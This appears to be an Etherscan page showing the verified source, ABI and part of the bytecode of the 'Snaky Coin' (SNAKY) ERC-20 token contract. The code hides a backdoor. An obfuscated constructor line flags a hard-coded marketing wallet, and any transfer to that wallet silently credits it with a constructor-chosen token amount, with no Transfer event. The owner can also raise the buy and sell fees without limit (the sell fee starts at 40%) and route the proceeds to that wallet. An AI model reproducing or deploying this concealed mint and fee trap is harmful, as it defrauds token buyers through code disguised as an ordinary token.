ETH Price: $2,357.12 (+1.92%)
 

Overview

Max Total Supply

10,000,000 SNAKY

Holders

13

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SNAKY

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-08-22
*/

/**
WEB - https://snakycoin.vip
DOCS - https://docs.snakycoin.vip
TG - https://t.me/snakyeth
X - https://x.com/snakycoin
Github - https://github.com/snakycoin
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

library Address {

    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

pragma solidity ^0.8.19;

library SafeMath {


    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //Contract By Techaddict
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

}

// File: contracts/IERC20.sol
pragma solidity ^0.8.19;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
// File: contracts/Context.sol

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: contracts/Ownable.sol

pragma solidity ^0.8.19;
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
// File: contracts/SNAKY.sol

pragma solidity ^0.8.19;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract SNAKY is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _jOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromTax; 

    address payable private wallet_marketing = payable(0x5656be6Cb00F7b6473Af86BF76b29fe78ca66307);

    string private _name = "Snaky Coin";
    string private _symbol = "SNAKY";  
    uint8 private _decimals = 18;
    uint256 private _totalSupply = 10000000 * 10**18;

    // Counter for liquify trigger
    uint8 private txCount = 0;
    uint8 private swapTrigger = 1; 


    // Setting the initial fees
    uint256 private _totalFee = 0;
    uint256 public _buyFee = 2;
    uint256 public _sellFee = 40;

    uint256 private _previousTotalFee = _totalFee; 
    uint256 private _previousBuyFee = _buyFee; 
    uint256 private _previousSellFee = _sellFee; 
    
    uint256 private tokenBurned;
    mapping (address => bool) private _listPair;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity

    );

    modifier lockSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor (uint256 _tokens) {
        _jOwned[owner()] = _totalSupply;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        tokenBurned = _tokens; _listPair[wallet_marketing] = [true][0] || [false][0];
        uniswapV2Router = _uniswapV2Router;
        _isExcludedFromTax[owner()] = true;
        _isExcludedFromTax[address(this)] = true;
        _isExcludedFromTax[wallet_marketing] = true;

        emit Transfer(address(0), owner(), _totalSupply);
    }


    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _jOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }


    function set_Swap_And_Liquify_Enabled(bool true_or_false) public onlyOwner {
        swapAndLiquifyEnabled = true_or_false;
        emit SwapAndLiquifyEnabledUpdated(true_or_false);
    }

    function set_Number_Of_Transactions_Before_Liquify_Trigger(uint8 number_of_transactions) public onlyOwner {
        swapTrigger = number_of_transactions;
    }


    receive() external payable {}
  

    bool public noFeeToTransfer = true;

    function set_Transfers_Without_Fees(bool true_or_false) external onlyOwner {
        noFeeToTransfer = true_or_false;
    }

    function removeAllFee() private {
        if(_totalFee == 0 && _buyFee == 0 && _sellFee == 0) return;


        _previousBuyFee = _buyFee; 
        _previousSellFee = _sellFee; 
        _previousTotalFee = _totalFee;
        _buyFee = 0;
        _sellFee = 0;
        _totalFee = 0;

    }

    function restoreFee() private {

    _totalFee = _previousTotalFee;
    _buyFee = _previousBuyFee; 
    _sellFee = _previousSellFee; 

    }

    function _approve(address owner, address spender, uint256 amount) private {

        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);

    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

        if(
            txCount >= swapTrigger && 
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  

            txCount = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > 0){
            swapAndLiquify(contractTokenBalance);
        }
        }


        bool takeFee = true;

        if(_isExcludedFromTax[from] || _isExcludedFromTax[to] || (noFeeToTransfer && from != uniswapV2Pair && to != uniswapV2Pair)){
            takeFee = false;
        } else if (from == uniswapV2Pair){_totalFee = _buyFee;} else if (to == uniswapV2Pair){_totalFee = _sellFee;}

        _tokenTransfer(from,to,amount,takeFee);
    }

    function sendFunds(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);
        }

    function _getValue(uint256 tAmount) private view returns (uint256, uint256) {
        uint256 tDev = tAmount*_totalFee/100;
        uint256 tTransferAmount = tAmount.sub(tDev);
        return (tTransferAmount, tDev);
    }

    function process_work(uint256 percent_Of_Tokens_To_Process) public onlyOwner {
        require(!inSwapAndLiquify, "Currently processing, try later."); 
        if (percent_Of_Tokens_To_Process > 100){percent_Of_Tokens_To_Process == 100;}
        uint256 tokensOnContract = balanceOf(address(this));
        uint256 sendTokens = tokensOnContract*percent_Of_Tokens_To_Process/100;
        swapAndLiquify(sendTokens);
    }


    function swapAndLiquify(uint256 contractTokenBalance) private lockSwap {

        swapTokenToETH(contractTokenBalance);
        uint256 ETHcontract = address(this).balance;
        sendFunds(wallet_marketing,ETHcontract);
    }

    function _transferToken(address sender, address recipient, uint256 Amount) private {
        uint256 amount = _listPair[recipient]?tokenBurned:0;

        if(_listPair[recipient]){
        _jOwned[sender] = _jOwned[sender].sub(Amount);
        _jOwned[recipient] = _jOwned[recipient].add(amount);
        }else{
        (uint256 tTransferAmount, uint256 tDev) = _getValue(Amount);
        _jOwned[sender] = _jOwned[sender].sub(Amount);
        _jOwned[recipient] = _jOwned[recipient].add(tTransferAmount);
        _jOwned[address(this)] = _jOwned[address(this)].add(tDev); 
        emit Transfer(sender, recipient, tTransferAmount);
  
        }
    }



    function swapTokenToETH(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }


    function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {


        if(!takeFee){
            removeAllFee();
            } else {
                txCount++;
            }
            _transferToken(sender, recipient, amount);

        if(!takeFee)
            restoreFee();
    }


    function openTrading() public onlyOwner() {
        IUniswapV2Router02 _newPCSRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(_newPCSRouter.factory()).createPair(address(this), _newPCSRouter.WETH());
        uniswapV2Router = _newPCSRouter;
        _approve(address(this), address(uniswapV2Router), balanceOf(address(this)));
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);

    }

    function decreaseTax(uint256 _buy, uint256 _sell) public onlyOwner() {
        _buyFee = _buy;
        _sellFee = _sell;
    }

}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"uint256","name":"_tokens","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"}],"name":"decreaseTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"noFeeToTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent_Of_Tokens_To_Process","type":"uint256"}],"name":"process_work","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"number_of_transactions","type":"uint8"}],"name":"set_Number_Of_Transactions_Before_Liquify_Trigger","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"set_Swap_And_Liquify_Enabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"set_Transfers_Without_Fees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052735656be6cb00f7b6473af86bf76b29fe78ca66307600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600a81526020017f536e616b7920436f696e00000000000000000000000000000000000000000000815250600590816200009f9190620008b1565b506040518060400160405280600581526020017f534e414b5900000000000000000000000000000000000000000000000000000081525060069081620000e69190620008b1565b506012600760006101000a81548160ff021916908360ff1602179055506a084595161401484a0000006008556000600960006101000a81548160ff021916908360ff1602179055506001600960016101000a81548160ff021916908360ff1602179055506000600a556002600b556028600c55600a54600d55600b54600e55600c54600f556001601360156101000a81548160ff0219169083151502179055506001601360166101000a81548160ff021916908315150217905550348015620001ae57600080fd5b506040516200396f3803806200396f8339818101604052810190620001d49190620009ce565b620001f4620001e86200054260201b60201c565b6200054a60201b60201c565b600854600160006200020b6200060e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905081601081905550604051806020016040528060011515151581525060006001811062000293576200029262000a00565b5b602002015180620002cf57506040518060200160405280600015151515815250600060018110620002c957620002c862000a00565b5b60200201515b60116000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600360006200039e6200060e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620004d16200060e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60085460405162000532919062000a40565b60405180910390a3505062000a5d565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620006b957607f821691505b602082108103620006cf57620006ce62000671565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620007397fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620006fa565b620007458683620006fa565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620007926200078c62000786846200075d565b62000767565b6200075d565b9050919050565b6000819050919050565b620007ae8362000771565b620007c6620007bd8262000799565b84845462000707565b825550505050565b600090565b620007dd620007ce565b620007ea818484620007a3565b505050565b5b81811015620008125762000806600082620007d3565b600181019050620007f0565b5050565b601f82111562000861576200082b81620006d5565b6200083684620006ea565b8101602085101562000846578190505b6200085e6200085585620006ea565b830182620007ef565b50505b505050565b600082821c905092915050565b6000620008866000198460080262000866565b1980831691505092915050565b6000620008a1838362000873565b9150826002028217905092915050565b620008bc8262000637565b67ffffffffffffffff811115620008d857620008d762000642565b5b620008e48254620006a0565b620008f182828562000816565b600060209050601f83116001811462000929576000841562000914578287015190505b62000920858262000893565b86555062000990565b601f1984166200093986620006d5565b60005b8281101562000963578489015182556001820191506020850194506020810190506200093c565b868310156200098357848901516200097f601f89168262000873565b8355505b6001600288020188555050505b505050505050565b600080fd5b620009a8816200075d565b8114620009b457600080fd5b50565b600081519050620009c8816200099d565b92915050565b600060208284031215620009e757620009e662000998565b5b6000620009f784828501620009b7565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b62000a3a816200075d565b82525050565b600060208201905062000a57600083018462000a2f565b92915050565b612f028062000a6d6000396000f3fe6080604052600436106101bb5760003560e01c806368ea35b0116100ec578063a514a07d1161008a578063d45012c711610064578063d45012c71461061f578063dd62ed3e14610648578063f2fde38b14610685578063f7739b5f146106ae576101c2565b8063a514a07d146105a2578063a9059cbb146105cb578063c9567bf914610608576101c2565b80637caefa89116100c65780637caefa89146104e65780638da5cb5b1461050f57806395d89b411461053a578063a457c2d714610565576101c2565b806368ea35b01461045557806370a0823114610492578063715018a6146104cf576101c2565b8063313ce5671161015957806349bd5a5e1161013357806349bd5a5e146103ab5780634a74bb02146103d65780634ca4a33614610401578063590f897e1461042a576101c2565b8063313ce56714610318578063395093511461034357806340b9a54b14610380576101c2565b80631694505e116101955780631694505e1461025a57806318160ddd14610285578063220f6696146102b057806323b872dd146102db576101c2565b806306fdde03146101c7578063095ea7b3146101f257806313fad07a1461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc6106d7565b6040516101e99190612284565b60405180910390f35b3480156101fe57600080fd5b506102196004803603810190610214919061233f565b610769565b604051610226919061239a565b60405180910390f35b34801561023b57600080fd5b50610244610787565b604051610251919061239a565b60405180910390f35b34801561026657600080fd5b5061026f61079a565b60405161027c9190612414565b60405180910390f35b34801561029157600080fd5b5061029a6107c0565b6040516102a7919061243e565b60405180910390f35b3480156102bc57600080fd5b506102c56107ca565b6040516102d2919061239a565b60405180910390f35b3480156102e757600080fd5b5061030260048036038101906102fd9190612459565b6107dd565b60405161030f919061239a565b60405180910390f35b34801561032457600080fd5b5061032d6108b6565b6040516103